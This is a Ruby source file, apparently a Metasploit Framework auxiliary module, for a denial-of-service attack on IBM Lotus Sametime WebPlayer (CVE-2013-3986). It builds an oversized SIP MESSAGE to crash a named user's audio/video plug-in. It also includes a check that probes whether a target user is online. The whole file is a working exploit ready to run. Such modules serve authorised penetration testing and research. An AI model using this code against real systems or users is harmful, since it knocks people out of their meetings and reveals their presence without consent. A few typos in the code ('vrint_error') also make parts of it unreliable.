Path: blob/master/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'IBM Lotus Sametime WebPlayer DoS',14'Description' => %q{15This module exploits a known flaw in the IBM Lotus Sametime WebPlayer16version 8.5.2.1392 (and prior) to cause a denial of service condition17against specific users. For this module to function the target user18must be actively logged into the IBM Lotus Sametime server and have19the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a20browser extension. The user should have the WebPlayer plug-in active21(i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.22},23'Author' => [24'Chris John Riley', # Vulnerability discovery25'kicks4kittens' # Metasploit module26],27'License' => MSF_LICENSE,28'Actions' => [29[30'DOS',31{32'Description' => 'Cause a Denial Of Service condition against a connected user'33}34],35[36'CHECK',37{38'Description' => 'Checking if targeted user is online'39}40]41],42'DefaultAction' => 'DOS',43'References' => [44[ 'CVE', '2013-3986' ],45[ 'OSVDB', '99552' ],46[ 'BID', '63611'],47[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],48[ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]49],50'DisclosureDate' => '2013-11-07',51'Notes' => {52'Stability' => [CRASH_SERVICE_DOWN],53'SideEffects' => [],54'Reliability' => []55}56)57)5859register_options(60[61Opt::RPORT(5060),62OptAddress.new('RHOST', [true, 'The Sametime Media Server']),63OptString.new('SIPURI', [64true,65'The SIP URI of the user to be targeted',66'<target_email_address>@<sametime_media_server_FQDN>'67]),68OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0])69]70)71end7273def setup74# cleanup SIP target to ensure it's in the correct format to use75@sipuri = datastore['SIPURI']76if @sipuri[0, 4].downcase == 'sip:'77# remove sip: if present in string78@sipuri = @sipuri[4, @sipuri.length]79end80if @sipuri[0, 12].downcase == 'webavclient-'81# remove WebAVClient- if present in string82@sipuri = @sipuri[12, @sipuri.length]83end84end8586def run87# inform user of action currently selected88print_status("Action: #{action.name} selected")8990# CHECK action91if action.name == 'CHECK'92print_status("Checking if user #{@sipuri} is online")93if check_user94print_good('User online')95else96print_status('User offline')97end98return99end100101# DOS action102print_status("Checking if user #{@sipuri} is online")103check_result = check_user104105if check_result == false106print_error('User is already offline... Exiting...')107return108end109110# only proceed if action is DOS the target user is111# online or the CHECKUSER option has been disabled112print_status("Targeting user: #{@sipuri}...")113dos_result = dos_user114115if dos_result116print_good('User is offline, DoS was successful')117else118print_error('User is still online')119end120end121122def dos_user123length = 12000 # enough to overflow the end of allocated memory124msg = create_message(length)125res = send_msg(msg)126127if res.nil?128vprint_good("User #{@sipuri} is no responding")129return true130elsif res =~ /430 Flow Failed/i131vprint_good('DoS packet successful. Response received (430 Flow Failed)')132vprint_good("User #{@sipuri} is no longer responding")133return true134elsif res =~ /404 Not Found/i135vprint_error('DoS packet appears successful. Response received (404 Not Found)')136vprint_status('User appears to be currently offline or not in a Sametime video session')137return true138elsif res =~ /200 OK/i139vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")140vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")141return false142else143vprint_status('Unexpected response')144return true145end146end147148# used to check the user is logged into Sametime and after DoS to check success149def check_user150length = Rex::Text.rand_text_numeric(2) # just enough to check response151msg = create_message(length)152res = send_msg(msg)153154# check response for current user status - common return codes155if res.nil?156vprint_error('No response')157return false158elsif res =~ /430 Flow Failed/i159vprint_good("User #{@sipuri} is no longer responding (already DoS'd?)")160return false161elsif res =~ /404 Not Found/i162vprint_error("User #{@sipuri} is currently offline or not in a Sametime video session")163return false164elsif res =~ /200 OK/i165vprint_good("User #{@sipuri} is online")166return true167else168vprint_error('Unknown server response')169return false170end171end172173def create_message(length)174# create SIP MESSAGE of specified length175vprint_status("Creating SIP MESSAGE packet #{length} bytes long")176177source_user = Rex::Text.rand_text_alphanumeric(1..8)178source_host = Rex::Socket.source_address(datastore['RHOST'])179src = "#{source_host}:#{datastore['RPORT']}"180cseq = Rex::Text.rand_text_numeric(3)181message_text = Rex::Text.rand_text_alphanumeric(length.to_i)182branch = Rex::Text.rand_text_alphanumeric(7)183184# setup SIP message in the correct format expected by the server185data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"186data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{'%.8x' % rand(0x100000000)};rport;alias" + "\r\n"187data << "Max-Forwards: 80\r\n"188data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"189data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"190data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"191data << "CSeq: #{cseq} MESSAGE" + "\r\n"192data << 'Content-Type: text/plain;charset=utf-8' + "\r\n"193data << "User-Agent: #{source_user}\r\n"194data << "Content-Length: #{message_text.length}" + "\r\n\r\n"195data << message_text196197return data198end199200def timing_get_once(sock, length)201timeout = datastore['TIMEOUT']202if timeout && timeout > 0203return sock.get_once(length, timeout)204else205return sock.get_once(length)206end207end208209def send_msg(msg)210s = connect211# send message and store response212begin213s.put(msg + "\r\n\r\n")214rescue StandardError215nil216end217# read response218res = timing_get_once(s, 25)219if res == "\r\n"220# retry request221res = timing_get_once(s, 25)222end223return res224rescue ::Rex::ConnectionRefused225print_status('Unable to connect')226return nil227rescue ::Errno::ECONNRESET228print_good('DoS packet successful, host not responding.')229return nil230rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout231print_status("Couldn't connect")232return nil233ensure234# disconnect socket if still open235disconnect if s236end237end238239240